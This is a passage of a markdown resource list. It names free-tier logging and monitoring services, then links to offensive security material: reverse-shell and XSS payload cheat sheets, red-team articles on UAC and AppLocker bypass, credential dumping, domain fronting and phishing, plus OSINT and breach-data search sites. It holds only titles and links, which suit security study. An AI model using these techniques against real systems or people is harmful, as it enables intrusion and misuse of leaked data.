* [loggly.com](https://www.loggly.com/) — Free for a single user, 200MB/day with 7 days retention
* [logz.io](https://logz.io/) — Free up to 1 GB/day, 1 days retention
* [ManageEngine Log360 Cloud](https://www.manageengine.com/cloud-log-management) — Log Management service powered by Manage Engine. Free Plan offers 50 GB storage with 1 Month retention.
* [papertrailapp.com](https://papertrailapp.com/) — 48 hours search, 7 days archive, 50 MB/month
* [sematext.com](https://sematext.com/logsene) — Free up to 500 MB/day, 7 days retention
* [sumologic.com](https://www.sumologic.com/) — Free up to 500 MB/day, 7 days retention
* [logflare.app](https://logflare.app/) — Free for upto 12,960,000 enteries per app per month, 3 days retention
* [logtail.com](https://logtail.com/) — ClickHouse-based SQL-compatible log management. Free up to 1 GB per month, 3 days retention.
* [logzab.com](https://logzab.com/) — Audit trail management system. Free 1.000 user activity log per month, 1 month retention, for up-to 5 projects.
## Monitoring
* [Pingmeter.com](https://pingmeter.com/) - 5 uptime monitors with 10 minutes interval. monitor SSH, HTTP, HTTPS, and any custom TCP ports.
* [appdynamics.com](https://www.appdynamics.com/) — Free for 24 hours metrics, application performance management agents limited to one Java, one .NET, one PHP and one Node.js
* [appneta.com](https://www.appneta.com/) — Free with 1-hour data retention
* [appspector.com](https://appspector.com/) - Mission control, for remote iOS/Android/Flutter debugging. Free for small traffic usage (64MB of logs).
* [assertible.com](https://assertible.com) — Automated API testing and monitoring. Free plans for teams and individuals.
* [blackfire.io](https://blackfire.io/) — Blackfire is the SaaS-delivered Application Performance Solution. Free Hacker plan (PHP only)
* [checklyhq.com](https://checklyhq.com) - Open source E2E / Synthetic monitoring and deep API monitoring for developers. Free plan with 5 users and 50k+ check runs.
* [circonus.com](https://www.circonus.com/) — Free for 20 metrics
* [cloudsploit.com](https://cloudsploit.com) — AWS security and configuration monitoring. Free: unlimited on-demand scans, unlimited users, unlimited stored accounts. Subscription: automated scanning, API access, etc.
* [cronitor.io](https://cronitor.io/) - Performance insights and uptime monitoring for cron jobs, websites, APIs and more. Free tier with 5 monitors.
* [datadoghq.com](https://www.datadoghq.com/) — Free for up to 5 nodes
* [deadmanssnitch.com](https://deadmanssnitch.com/) — Monitoring for cron jobs. 1 free snitch (monitor), more if you refer others to sign up
* [economize.cloud](https://economize.cloud) — Economize helps demystify cloud infrastructure costs by organizing cloud resources, optimize and report the same. Free for up to $5000 spends on Google Cloud Platform every month.
* [elastic.co](https://www.elastic.co/solutions/apm) — Instant performance insights for JS developers. Free with 24 hours data retention
* [freeboard.io](https://freeboard.io/) — Free for public projects. Dashboards for your Internet of Things (IoT) projects
* [freshworks.com](https://www.freshworks.com/website-monitoring/) — Monitor 50 URLs at 1-minute interval with 10 Global locations and 5 Public status pages for Free
* [gitential.com](https://gitential.com) — Software Development Analytics platform. Free: unlimited public repositories, unlimited users, free trial for private repos. On-prem version available for enterprise.
* [Grafana Cloud](https://grafana.com/products/cloud/) - Grafana Cloud is a composable observability platform, integrating metrics and logs with Grafana. Free: 3 users, 10 dashboards, 100 alerts, metrics storage in Prometheus and Graphite (10,000 series, 14 days retention), logs storage in Loki (50 GB of logs, 14 days retention)
* [healthchecks.io](https://healthchecks.io) — Monitor your cron jobs and background tasks. Free for up to 20 checks.
* [inspector.dev](https://www.inspector.dev) - A complete Real-Time monitoring dashboard in less than one minute with free forever tier.
* [instrumentalapp.com](https://instrumentalapp.com) - Beautiful and easy-to-use application and server monitoring with up to 500 metrics and 3 hours of data visibility for free
* [keychest.net/speedtest](https://keychest.net/speedtest) - Independent speed test and TLS handshake latency test against Digital Ocean
* [letsmonitor.org](https://letsmonitor.org) - SSL monitoring, free for up to 5 monitors
* [loader.io](https://loader.io/) — Free load testing tools with limitations
* [meercode.io](https://meercode.io/) — Meercode is the ultimate monitoring dashboard for your CI/CD builds. Free for open-source and 1 private repository.
* [netdata.cloud](https://www.netdata.cloud/) — Netdata is an open source tool designed to collect real-time metrics.Great fast growing product. It can also be found in github!
* [newrelic.com](https://www.newrelic.com) — New Relic observability platform built to help engineers create more perfect software. From monoliths to serverless, you can instrument everything, then analyze, troubleshoot, and optimize your entire software stack. Free tier offers 100GB/month of free data ingest, 1 free full access user, and unlimited free basic users.
* [nixstats.com](https://nixstats.com) - Free for one server. E-Mail Notifications, public status page, 60 second interval and more.
* [OnlineOrNot.com](https://onlineornot.com/) - OnlineOrNot is a reliable uptime monitor for both JS-based web apps and websites. 5 uptime checks (for static websites and APIs) with a 5 minute interval, 1 browser check with a 15 minute interval. Also provides automated public status pages (with support coming for 3rd party uptime monitoring). Free for up to 3 users, alerts via Slack, Discord, and Email.
* [opsgenie.com](https://www.opsgenie.com/) — Powerful alerting and on-call management for operating always-on services. Free up to 5 users.
* [paessler.com](https://www.paessler.com/) — Powerful infrastructure and network monitoring solution including alerting, strong visualization capabilities and basic reporting. Free up to 100 sensors.
* [syagent.com](https://syagent.com/) — Non commercial free server monitoring service, alerts and metrics.
* [pagertree.com](https://pagertree.com/) - Simple interface for alerting and on-call management. Free up to 5 users.
* [pingbreak.com](https://pingbreak.com/) — Modern uptime monitoring service. Check unlimited URLs and get downtime notifications via Discord, Slack or email.
* [pingpong.one](https://pingpong.one/) — Advanced status page platform with monitoring. Free tier includes one public customizable status page with SSL subdomain. Pro plan is offered to open-source projects and non-profits free of charge.
* [sematext.com](https://sematext.com/) — Free for 24 hours metrics, unlimited number of servers, 10 custom metrics, 500,000 custom metrics data points, unlimited dashboards, users, etc.
* [sitemonki.com](https://sitemonki.com/) — Website, domain, Cron & SSL monitoring, 5 monitors in each category for free
* [skylight.io](https://www.skylight.io/) — Free for first 100,000 requests (Rails only)
* [speedchecker.xyz](https://probeapi.speedchecker.xyz/) — Performance Monitoring API, checks Ping, DNS, etc.
* [stathat.com](https://www.stathat.com/) — Get started with 10 stats for free, no expiration
* [statuscake.com](https://www.statuscake.com/) — Website monitoring, unlimited tests free with limitations
* [statusgator.com](https://statusgator.com/) — Status page monitoring, 3 monitors free
* [thousandeyes.com](https://www.thousandeyes.com/) — Network and user experience monitoring. 3 locations and 20 data feeds of major web services free
* [thundra.io/apm](https://www.thundra.io/apm) — Application monitoring and debugging. Has a free tier up to 250k monthly invocations.
* [uptimerobot.com](https://uptimerobot.com/) — Website monitoring, 50 monitors free
* [uptimetoolbox.com](https://uptimetoolbox.com/) — Free monitoring for 5 websites, 60 second intervals, public statuspage.
* [zenduty.com](https://www.zenduty.com/) — End-to-end incident management, alerting, on-call management and response orchestration platform for network operations, site reliability engineering and DevOps teams. Free for upto 5 users.
* [instatus.com](https://instatus.com) - Get a beautiful status page in 10 seconds. Free forever with unlimited subs and unlimited teams.
* [Squadcast.com](https://squadcast.com) - Squadcast is an end-to-end incident management software that's designed to help you promote SRE best practices. Free forever plan available for upto 10 users.
* [RoboMiri.com](https://robomiri.com/) - RoboMiri is a stable uptime monitor that offer a wide range of monitors: cronjob, keyword, website, port, ping. 25 uptime checks with a 3 minutes interval checks for free. Alerts via Phone Call, SMS, Email and Web Hook.
* [Better Stack](https://betterstack.com/better-uptime) - Uptime monitoring, incident management, on-call scheduling/alerting and status pages in a single product. 10 monitors with 3 min check frequency and status pages are included on the free plan.
# Hacking References & Cheatsheets
* [LFI Cheat Sheet](https://highon.coffee/blog/lfi-cheat-sheet/)
* [Local Linux Enumeration & Privilege Escalation Cheatsheet](https://github.com/rebootuser/LinEnum)
* [Metasploit Payload Cheatsheet](https://netsec.ws/?p=331)
* [Multiple Cheatsheets By Andrewjkerr](https://github.com/andrewjkerr/security-cheatsheets)
* [Nmap Cheat Sheet](https://highon.coffee/blog/nmap-cheat-sheet/)
* [Pentest Recon And Enu Cheatsheet](https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#recon-and-enumeration)
* [Reverse Shell Cheat Sheet](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
* [SQL Injection Cheat Sheet](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)
* [XSS Cheat Sheet](https://n0p.net/penguicon/php_app_sec/mirror/xss.html)
* [XSS Payload Cheatsheet](https://github.com/pgaijin66/XSS-Payloads/blob/master/payload/payload.txt)
## Showcasings
* ["Fileless" UAC Bypass Using sdclt.exe](https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/)
* [A Citrix Story](https://rastamouse.me/blog/a-citrix-story/)
* [A Guide to Attacking Domain Trusts](https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944)
* [A Guide to Attacking Domain Trusts](https://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
* [A Pentester's Guide to Group Scoping](https://www.harmj0y.net/blog/activedirectory/a-pentesters-guide-to-group-scoping/)
* [A Read Teamer's Guide to GPOs and OUs](https://wald0.com/?p=179)
* [Abusing Active Directory Permissions with PowerView](https://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/)
* [Abusing DCOM For Yet Another Lateral Movement Technique](https://bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique/)
* [Abusing DNSAdmins Privilege for Escalation in Active Directory](http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html)
* [Abusing Exported Functions and Exposed DCOM Interfaces for Pass-Thru Command Execution and Lateral Movement](https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/)
* [Abusing GPO Permissions](https://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/)
* [Abusing Microsoft Word Features for Phishing: "subDoc"](https://rhinosecuritylabs.com/research/abusing-microsoft-word-features-phishing-subdoc/)
* [Abusing the COM Registry Structure: CLSID, LocalServer32, & ImprocServer32](https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/)
* [Accessing Clipboard From the Lock Screen in Windows 10 Part 1](https://oddvar.moe/2017/01/24/accessing-clipboard-from-the-lock-screen-in-windows-10/)
* [Accessing Clipboard From the Lock Screen in Windows 10 Part 2](https://oddvar.moe/2017/01/27/access-clipboard-from-lock-screen-in-windows-10-2/)
* [Agentless Post-Exploitation](https://www.youtube.com/watch?v=QbjuO5IlpBU)
* [Aggressor PowerView](https://threat.tevora.com/aggressor-powerview/)
* [AppLocker - Case Study - How Insecure Is It Really? Part 1](https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/)
* [AppLocker - Case Study - How Insecure Is It Really? Part 2](https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/)
* [Are We Really Safe? Hacking Access Control Systems](https://www.slideshare.net/DennisMaldonado5/hacking-access-control-systems)
* [Automated Derivative Administrator Search](https://wald0.com/?p=14)
* [Awesome Bug Bounty](https://github.com/djadmin/awesome-bug-bounty)
* [Awesome CTF](https://github.com/apsdehal/awesome-ctf)
* [Awesome ICS Security](https://github.com/hslatman/awesome-industrial-control-system-security)
* [Awesome Lockpicking](https://github.com/fabacab/awesome-lockpicking)
* [Awesome Yara](https://github.com/InQuest/awesome-yara)
* [Bringing the Hashes Home With reGeorg & Empire](https://sensepost.com/blog/2016/bringing-the-hashes-home-with-regeorg-empire/)
* [Bypassing AMSI via COM Server Hijacking](https://posts.specterops.io/bypassing-amsi-via-com-server-hijacking-b8a3354d1aff)
* [Bypassing Application Whitelisting With BGinfo](https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/)
* [Bypassing Device Guard UMCI Using CHM - CVE-2017-8625](https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/)
* [Bypassing UAC Using App Paths](https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/)
* [Cell Injection](http://blog.7elements.co.uk/2013/01/cell-injection.html)
* [ClickOnce, Twice or Thrice: A Technique for Social Engineering and Untrusted Command Execution](https://bohops.com/2017/12/02/clickonce-twice-or-thrice-a-technique-for-social-engineering-and-untrusted-command-execution/)
* [Cloning and Hosting Evil Captive Portals Using a Wi-Fi Pineapple](https://blog.inspired-sec.com/archive/2017/01/10/cloning-captive-portals.html)
* [CloudFront Hijacking](https://www.mindpointgroup.com/blog/pen-test/cloudfront-hijacking/)
* [Cobalt Strike - What's the go-to phishing technique or exploit?](https://blog.cobaltstrike.com/2014/12/17/whats-the-go-to-phishing-technique-or-exploit/)
* [Code Signing Certificate Cloning Attacks and Defenses](https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec)
* [Colbalt Strike - Spear Phishing documentation](https://www.cobaltstrike.com/help-spear-phish)
* [Comma Separated Vulnerabilities](https://www.contextis.com/en/blog/comma-separated-vulnerabilities)
* [DNS Data Exfiltration - What is This and How to Use?](https://cuongmx.medium.com/dns-data-exfiltration-what-is-this-and-how-to-use-2f6c69998822)
* [DNS Tunnelling](https://resources.infosecinstitute.com/topic/dns-tunnelling/)
* [Data Exfiltration Over DNS Request Covert Channel: DNSExfiltrator](https://www.kitploit.com/2018/01/dnsexfiltrator-data-exfiltration-over.html)
* [Data Exfiltration via Formula Injection](https://notsosecure.com/data-exfiltration-formula-injection/)
* [Defense In Depth](https://oddvar.moe/2017/09/13/defense-in-depth-writeup/)
* [DiskShadow: The Return of VSS Evasion, Persistence, and Active Directory Database Extraction](https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/)
* [Domain Fronting Via Cloudfront Alternate Domains](https://www.mdsec.co.uk/2017/02/domain-fronting-via-cloudfront-alternate-domains/)
* [Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync](https://adsecurity.org/?p=2053)
* [Dumping Domain Password Hashes](https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/)
* [Empire Domain Fronting](https://www.xorrior.com/Empire-Domain-Fronting/)
* [Empire Without PowerShell](https://isec.ne.jp/wp-content/uploads/2017/08/30Empire-without-Powershell.pdf)
* [Escape and Evasion Egressing Restricted Networks](https://www.optiv.com/explore-optiv-insights/blog/escape-and-evasion-egressing-restricted-networks)
* [Excel Macros With PowerShell](https://4sysops.com/archives/excel-macros-with-powershell/)
* [Executing Commands and Bypassing AppLocker with PowerShell Diagnostic Scripts](https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/)
* [Exploiting Environment Variables in Scheduled Tasks for UAC Bypass](https://www.tiraniddo.dev/2017/05/exploiting-environment-variables-in.html)
* [Extending BloodHound for Red Teamers](https://www.youtube.com/watch?v=Pn7GWRXfgeI)
* [Finding Domain Frontable Azure Domains](https://theobsidiantower.com/2017/07/24/d0a7cfceedc42bdf3a36f2926bd52863ef28befc.html)
* [First Entry: Welcome and Fileless UAC Bypass](https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/)
* [From Pass-the-Hash to Pass-the-Ticket with No Pain](https://resources.infosecinstitute.com/topic/pass-hash-pass-ticket-no-pain/)
* [Getting the Goods with CrackMapExec: Part 1](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html)
* [Getting the Goods with CrackMapExec: Part 2](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-2.html)
* [Harden Windows With AppLocker - Based on Case Study Part 1](https://oddvar.moe/2017/12/13/harden-windows-with-applocker-based-on-case-study-part-1/)
* [Harden Windows With AppLocker - Based on Case Study Part 2](https://oddvar.moe/2017/12/21/harden-windows-with-applocker-based-on-case-study-part-2/)
* [Hiding Registry Keys with PSReflect](https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353)
* [How I Identified 93k Domain-Frontable CloudFront Domains](https://www.peew.pw/blog/2018/2/22/how-i-identified-93k-domain-frontable-cloudfront-domains)
* [How to Obfuscate JacaScript in Metasploit](https://github.com/rapid7/metasploit-framework/wiki/How-to-obfuscate-JavaScript-in-Metasploit)
* [In-Memory Evasion](https://blog.cobaltstrike.com/2018/02/08/in-memory-evasion/)
* [Intercepting Passwords With Empire and Winning](https://sensepost.com/blog/2016/intercepting-passwords-with-empire-and-winning/)
* [Intro to Using GScript for Red Teams](http://lockboxx.blogspot.com/2018/02/intro-to-using-gscript-for-red-teams.html)
* [Introducing BloodHound](https://wald0.com/?p=68)
* [Introduction to Metasploit: Exploiting Web Applications](https://www.slideshare.net/DennisMaldonado5/metasploit-for-web-workshop)
* [Jumping Network Segregation with RDP](https://rastamouse.me/blog/rdp-jump-boxes/)
* [Kerberoasting Without Mimikatz](https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/)
* [Kerberos Party Tricks: Weaponizing Kerberos Protocol Flaws](http://www.exumbraops.com/blog/2016/6/1/kerberos-party-tricks-weaponizing-kerberos-protocol-flaws)
* [Lateral Movement Using Excel Application and docm](https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/)
* [Lay of the Land with Bloodhound](https://threat.tevora.com/lay-of-the-land-with-bloodhound/)
* [LethalHTA - A New Lateral Movement Technique Using DCOM and HTA](https://codewhitesec.blogspot.com/2018/07/lethalhta.html)
* [Leveraging INF-SCT Fetch & Execute Technique For Bypass, Evasion, & Persistence](https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/)
* [Leveraging INF-SCT Fetch & Execute Technique For Bypass, Evasion, & Persistence](https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/)
* [Loading Alternate Data Stream ADS DLL/CPL Binaries to Bypass AppLocker](https://bohops.com/2018/01/23/loading-alternate-data-stream-ads-dll-cpl-binaries-to-bypass-applocker/)
* [Local Administrator Password Solution (LAPS) - Part 1](https://rastamouse.me/blog/laps-pt1/)
* [Local Administrator Password Solution (LAPS) - Part 2](https://rastamouse.me/blog/laps-pt2/)
* [Local Group Enumeration](https://www.harmj0y.net/blog/redteaming/local-group-enumeration/)
* [Macro-less Code Exec in MSWord](https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/)
* [Microsoft LAPS Security & Active Directory LAPS Configuration Recon](https://adsecurity.org/?p=3164)
* [Microsoft Office - NTLM Hashes via Frameset](https://pentestlab.blog/2017/12/18/microsoft-office-ntlm-hashes-via-frameset/)
* [Multi-Platform Macro Phishing Payloads](https://malcomvetter.medium.com/multi-platform-macro-phishing-payloads-3b688e8eff68)
* [My First Go with BloodHound](https://blog.cobaltstrike.com/2016/12/14/my-first-go-with-bloodhound/)
* [OPSEC Considerations for Beacon Commands](https://blog.cobaltstrike.com/2017/06/23/opsec-considerations-for-beacon-commands/)
* [OWASP Social Engineering: The Art of Human Hacking](https://owasp.org/www-pdf-archive/Presentation_Social_Engineering.pdf)
* [Offensive Encrypted Data Storage](https://www.harmj0y.net/blog/redteaming/offensive-encrypted-data-storage/)
* [Office 365 Safe Links Bypass](https://oddvar.moe/2018/01/03/office-365-safe-links-bypass/)
* [Outlook Forms and Shells](https://sensepost.com/blog/2017/outlook-forms-and-shells/)
* [Outlook Home Page - Another Ruler Vector](https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/)
* [Pass-the-Hash is Dead: Long Live LocalAccountTokenFilterPolicy](https://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/)
* [Persistence Using Globalflags In Image File Execution Options - Hidden from Autoruns.exe](https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/)
* [Persistence Using RunOnceEx - Hidden from Autoruns.exe](https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/)
* [Phishing Against Protected View](https://enigma0x3.net/2017/07/13/phishing-against-protected-view/)
* [PowerPoint and Custom Actions](https://cofense.com/powerpoint-and-custom-actions/)
* [PowerShell Empire Stagers 1: Phishing With an Office Macro and Evading AVs](https://fzuckerman.wordpress.com/2016/10/06/powershell-empire-stagers-1-phishing-with-an-office-macro-and-evading-avs/)
* [PowerShell Without PowerShell - How To Bypass Application Whitelisting, Environment Restrictions & AV](https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/)
* [Practical Guide to NTLM Relaying in 2017](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
* [Process Doppleganging - A New Way to Impersonate A Process](https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/)
* [Putting Data In Alternate Data Streams and How to Execute It](https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/)
* [Putting Data in Alternate Data Streams and How to Execute It](https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/)
* [Red Team Insights on HTTPS Domain Fronting Google Hosts Using Cobalt Strike](https://www.cyberark.com/resources/threat-research-blog/red-team-insights-on-https-domain-fronting-google-hosts-using-cobalt-strike)
* [Red Team Operating in a Modern Environment](https://owasp.org/www-pdf-archive/Red_Team_Operating_in_a_Modern_Environment.pdf)
* [Roasting AS-REPs](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/)
* [SPN Discovery](https://pentestlab.blog/2018/06/04/spn-discovery/)
* [Scanning for Active Directory Privileges & Privileged Accounts](https://adsecurity.org/?p=3658)
* [Simple Domain Fronting PoC with GAE C2 Server](https://www.securityartwork.es/2017/01/31/simple-domain-fronting-poc-with-gae-c2-server/)
* [Spear Phishing 101](https://blog.inspired-sec.com/archive/2017/05/07/Phishing.html)
* [Targeted Kerberoasting](https://www.harmj0y.net/blog/activedirectory/targeted-kerberoasting/)
* [The Absurdly Underestimated Dangers of CSV Injection](http://georgemauer.net/2017/10/07/csv-injection.html)
* [The Most Dangerous User Right You Probably Have Never Heard Of](https://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/)
* [The PowerView PowerUsage Series #1 - Mass User Profile Enumeration](http://www.harmj0y.net/blog/powershell/the-powerview-powerusage-series-1/)
* [The PowerView PowerUsage Series #2 - Mapping Computer Shortnames With the Global Catalog](http://www.harmj0y.net/blog/powershell/the-powerview-powerusage-series-2/)
* [The PowerView PowerUsage Series #3 - Enumerating GPO Edit Rights In a Foreign Domain](http://www.harmj0y.net/blog/powershell/the-powerview-powerusage-series-3/)
* [The PowerView PowerUsage Series #4 - Finding Cross-Trust ACEs](http://www.harmj0y.net/blog/powershell/the-powerview-powerusage-series-4/)
* [Trust Direction: An Enabler for Active Directory Enumeration and Trust Exploitation](https://bohops.com/2017/12/02/trust-direction-an-enabler-for-active-directory-enumeration-and-trust-exploitation/)
* [Ultimate AppLocker ByPass List](https://github.com/api0cradle/UltimateAppLockerByPassList)
* [Userland API Monitoring and Code Injection Detection](https://0x00sec.org/t/userland-api-monitoring-and-code-injection-detection/5565)
* [Using SQL Server for Attacking a Forest Trust](http://www.labofapenetrationtester.com/2017/03/using-sql-server-for-attacking-forest-trust.html)
* [Using a SCF File to Gather Hashes](https://1337red.wordpress.com/using-a-scf-file-to-gather-hashes/)
* [Using robots.txt to Locate Your Targets](http://www.behindthefirewalls.com/2013/07/using-robotstxt-to-locate-your-targets.html)
* [Validated CloudFront SSL Domains](https://medium.com/@vysec.private/validated-cloudfront-ssl-domains-27895822cea3)
* [Vshadow: Abusing the Volume Shadow Service for Evasion, Persistence, and Active Directory Database Extraction](https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-for-evasion-persistence-and-active-directory-database-extraction/)
* [WMI Persistence with Cobalt Strike](https://blog.inspired-sec.com/archive/2017/01/20/WMI-Persistence.html)
* [WSH Injection: A Case Study](https://posts.specterops.io/wsh-injection-a-case-study-fd35f79d29dd)
* [Weaponizing Data Science for Social Engineering: Automated E2E Spear Phishing on Twitter](https://www.blackhat.com/docs/us-16/materials/us-16-Seymour-Tully-Weaponizing-Data-Science-For-Social-Engineering-Automated-E2E-Spear-Phishing-On-Twitter.pdf)
* [Week of Evading Microsoft ATA](http://www.labofapenetrationtester.com/2017/08/week-of-evading-microsoft-ata-day1.html)
* [Windows Access Tokens and Alternate Credentials](https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/)
* [Windows Defender Attack Surface Reduction Rules Bypass](https://oddvar.moe/2018/03/15/windows-defender-attack-surface-reduction-rules-bypass/)
* [Windows Oneliners to Download Remote Payload and Execute Arbitrary Code](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
* [Windows Privilege Escalation checklist](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md)
* [android-security-awesome](https://github.com/ashishb/android-security-awesome)
* [harmj0y Presentations and Blogs - Windows and Active Directory Exploitation](https://www.harmj0y.net/blog/)
* [mavinject.exe Functionality Deconstructed](https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e)
* [sg1: swiss army knife for data encryption, exfiltration & covert communication](https://securityonline.info/sg1-swiss-army-knife/)
# Github Repositories (Need to Look Through)
* [Ethical Hacking Playground (Repo)](https://github.com/ethicalhackingplayground?tab=repositories)
* [Saeid](https://github.com/saeidshirazi?tab=repositories)
* [ustayready](https://github.com/ustayready?tab=repositories)
* [infosecn1nja](https://github.com/infosecn1nja?tab=repositories)
* [https://github.com/13o-bbr-bbq/machine_learning_security/wiki](https://github.com/13o-bbr-bbq/machine_learning_security/wiki)
- https://github.com/CyberSecurityUP/PenTest-Consulting-Creator
* [Red Team Infrastructure](https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki)
# Offensive Security Tools
## Reconnaissance Tools
Gathering information that can be used to support targeting
<br>
### Anonymity Tools
* [Freenet](https://freenetproject.org/) - Freenet is a peer-to-peer platform for censorship-resistant communication and publishing.
* [I2P](https://geti2p.net/en/) - The Invisible Internet Project.
* [OnionScan](https://onionscan.org/) - Tool for investigating the Dark Web by finding operational security issues introduced by Tor hidden service operators.
* [Tor](https://www.torproject.org/) - Free software and onion routed overlay network that helps you defend against traffic analysis.
* [What Every Browser Knows About You](http://webkay.robinlinus.com/) - Comprehensive detection page to test your own Web browser's configuration for privacy and identity leaks.
<hr>
<br>
### OSINT Frameworks
* [ReconSpider](https://hakin9.org/reconspider-most-advanced-open-source-intelligence-osint-framework/)
* [HostRecon](https://github.com/dafthack/HostRecon) — Provide situational awareness during reconnaissance of an engagement
* [reconFTW](https://github.com/six2dez/reconftw) — Automates the entire reconnaisance process
* [OSINT Repository](https://cipher387.github.io/osint_stuff_tool_collection/)
* [DarkSide](https://hakin9.org/darkside-tool-information-gathering-social-engineering/) — OSINT & Social Engineering Tool
* [AutoRecon](https://github.com/Tib3rius/AutoRecon) - Performs automated enumeration of services
* [Belati](https://github.com/aancw/Belati) - The Traditional Swiss Army Knife For OSINT. Belati is tool for Collecting Public Data & Public Document from Website and other service for OSINT purpose.
* [Intrigue Core](https://github.com/intrigueio/intrigue-core) - Framework for attack surface discovery.
* [NetBootcamp OSINT Tools](https://netbootcamp.org/osinttools/)
* [OSINT Framework](https://osintframework.com/)
* [Recon-ng](https://github.com/lanmaster53/recon-ng) - Full-featured Web Reconnaissance framework written in Python.
* [sn0int](https://github.com/kpcyrd/sn0int) - Semi-automatic OSINT framework and package manager.
<hr>
<br>
### Search Engines
* [Shodan](https://www.shodan.io/) - Database containing information on all accessible domains on the internet obtained from passive scanning
* [Wigle](https://wigle.net/) - Database of wireless networks, with statistics
* [Binary Edge](https://www.binaryedge.io/) - Scans the internet for threat intelligence
* [ONYPHE](https://www.onyphe.io/) - Collects cyber-threat intelligence data
* [GreyNoise](https://www.greynoise.io/) - Search for devices connected to the internet
* [Censys](https://censys.io/) - Assessing attack surface for internet connected devices
* [Hunter](https://hunter.io/) - Search for email addresses belonging to a website
* [ZoomEye](https://www.zoomeye.org/) - Gather information about targets
* [LeakIX](https://leakix.net/) - Search publicly indexed information
* [IntelligenceX](https://intelx.io/) - Search Tor, I2P, data leaks, domains, and emails
* [Netlas](https://netlas.io/) - Search and monitor internet connected assets
* [URL Scan](https://urlscan.io/) - Free service to scan and analyse websites
* [PublicWWW](https://publicwww.com/) - Marketing and affiliate marketing research
* [FullHunt](https://fullhunt.io/) - Search and discovery attack surfaces
* [crt.sh](https://crt.sh/) - Search for certs that have been logged by CT
* [Vulners](https://vulners.com/) - Search vulnerabilities in a large database
* [Pulsedive](https://pulsedive.com/) - Search for threat intelligence
* [Packet Storm Security](https://packetstormsecurity.com/) - Browse latest vulnerabilities and exploits
* [GrayHatWarefare](https://grayhatwarfare.com/) - Search public S3 buckets and URL shorteners
* [Dehashed](https://www.dehashed.com/) - Search for anything like username, email, passwords, address, or phone number.
* [Have I Been Pwned?](https://haveibeenpwned.com/) - Check whether personal data has been compromised by data breaches
* [Snusbase](https://snusbase.com/) - Indexes information from hacked websites and leaked databases
* [LeakBase](https://leakbase.cc/) - Forum of leaked databases
* [LeakCheck](https://leakcheck.io/) - Data breach search engine
* [GhostProject.fr](https://ghostproject.fr/) - Smart search engine
* [SecurityTrails](https://securitytrails.com/) - Extensive DNS data
* [DorkSearch](https://dorksearch.com/) - Really fast Google dorking
* [ExploitDB](https://www.exploit-db.com/) - Archive of various exploits
* [PolySwarm](https://polyswarm.io/) - Scan files and URLs for threats
* [DNSDumpster](https://dnsdumpster.com/) - Search for DNS records quickly
* [FullHunt](https://fullhunt.io/) - Search and discovery attack surfaces
* [AlienVault](https://otx.alienvault.com/) - Extensive threat intelligence feed
* [Vulners](https://vulners.com/) - Search vulnerabilities in a large database
* [WayBackMachine](https://web.archive.org/) - View content from deleted websites
* [SearchCode](https://searchcode.com/) - Search 75 billion lines of code from 40 million projects
* [Sarenka](https://hakin9.org/sarenka-an-osint-tool-that-gets-data-from-services-like-shodan-censys-etc-in-one-app/) — Gathers data from Shodan, censys, etc.
